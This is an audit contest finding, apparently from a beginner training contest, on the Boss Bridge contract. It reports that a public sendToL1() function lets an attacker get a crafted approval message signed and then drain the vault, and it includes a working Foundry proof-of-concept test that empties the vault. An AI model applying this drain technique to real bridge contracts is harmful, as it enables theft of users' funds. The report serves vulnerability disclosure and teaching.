First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`sendToL1()` can be called directly to drain all funds

t0x1c

Summary

The sendToL1() function is marked public. As such the following attack path is possible:

  • Attacker deposits 1 wei (or 0 wei) into the L2 bridge.

  • Attacker crafts and encodes a malicious message and submits it to the operator to be signed by him. The malicious message has target field equal to vault and the data field equal to a call to approve() to attain max token approval by the vault for the attacker. (This malicious message could be anything really, but choosing this example to demonstrate a not-so-simple attack).

  • Since the attacker had deposited 1 wei, operator approves & signs the message, not knowing the contents of it since it is encoded.

  • Attacker directly calls sendToL1() instead of going via withdrawTokensToL1().

  • Line 121 executes the low-level call and since from the vault's perspective, it originates from the L1BossBridge.sol contract as the msg.sender, it executes successfully validating the onlyOwner modifier.

  • Attacker now (or sometime in the future) calls transferFrom() to clean up the vault completely.

Vulnerability Details

The following PoC shows the above attack vector by draining all the funds from the vault.

  • Paste the following test inside test/L1TokenBridge.t.sol

  • Run with forge test --mt test_t0x1cVaultCleaner -vv

function test_t0x1cVaultCleaner() public {
// Assume `vault` has some funds in it via deposits from other
// users. We'll steal all funds in the attack.
uint256 vaultInitialBalance = token.balanceOf(address(vault));
deal(address(token), address(vault), 100 ether);
assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether);
​
//==================================//
//======= NORMAL USER FLOW =========//
//==================================//
vm.startPrank(user);
uint256 depositAmount = 1 wei;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), vaultInitialBalance + 100 ether + depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
​
//==================================//
//============= ATTACK =============//
//==================================//
// @audit-info : craft a `maliciousMessage` which gets max token approval
bytes memory maliciousMessage =
abi.encode(address(vault), 0, abi.encodeCall(vault.approveTo, (user, type(uint256).max)));
vm.stopPrank();
​
// `operator` signs the message off-chain since `user` had deposited 1 wei earlier into the L2 bridge
(uint8 v, bytes32 r, bytes32 s) = _signMessage(maliciousMessage, operator.key);
​
vm.startPrank(user);
// @audit-info : directly call `sendToL1()` with `maliciousMessage`
tokenBridge.sendToL1(v, r, s, maliciousMessage);
// @audit-info : empty the vault now
uint256 vaultBalance = token.balanceOf(address(vault));
token.transferFrom(address(vault), user, vaultBalance);
vm.stopPrank();
​
assertEq(token.balanceOf(address(vault)), 0);
assertEq(token.balanceOf(user), userInitialBalance - depositAmount + vaultBalance);
}

Impact

Attacker can steal all the funds from the vault.

Tools Used

Foundry

Recommendations

Mark the sendToL1() function as internal instead of public so that user is forced to go via withdrawTokensToL1().The withdrawTokensToL1() is susceptible to maliciously crafted message too, but that is addressed in a different bug report titled:

By sending any amount, attacker can withdraw more funds than deposited

The combination of the two fixes will secure the protocol against such attack vectors.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.